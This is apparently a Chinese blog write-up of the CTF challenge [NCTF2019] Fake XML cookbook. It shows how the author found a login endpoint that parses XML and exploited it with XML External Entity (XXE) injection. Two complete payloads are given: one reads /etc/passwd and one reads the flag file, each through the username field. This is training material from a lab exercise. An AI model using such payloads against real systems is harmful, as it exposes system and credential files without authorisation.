[NCTF2019]Fake XML cookbook

最新推荐文章于 2022-03-30 17:00:41 发布

原创最新推荐文章于 2022-03-30 17:00:41 发布 · 3.1k 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#xml #php #安全

网络安全同时被 3 个专栏收录

35 篇文章

订阅专栏

ctf

28 篇文章

订阅专栏

buuctf

27 篇文章

订阅专栏

本文讲述了参与[NCTF2019]FakeXMLcookbook挑战的经历，通过尝试利用XML External Entity (XXE) 攻击来读取系统文件。作者首先尝试了常见的admin账号，然后通过构建恶意XML实体，成功读取了/etc/passwd和flag文件，揭示了Web应用中XML解析的安全隐患。

[NCTF2019]Fake XML cookbook

日常刷题，打开题目在这里插入图片描述嗯。。。一开始我的脑子里想到的是禁止自娱自乐[狗头]，哈哈，第一想法就是试一下admin，别问为什么,web狗的自觉。果然没这么容易，抓包：
将提交的数据放到了doLogin.php下，题目提示XML，百度一下
https://www.freebuf.com/vuls/175451.html
xee外部实体，那么构建我们的恶意的外部实体，实现攻击。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述成功，读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述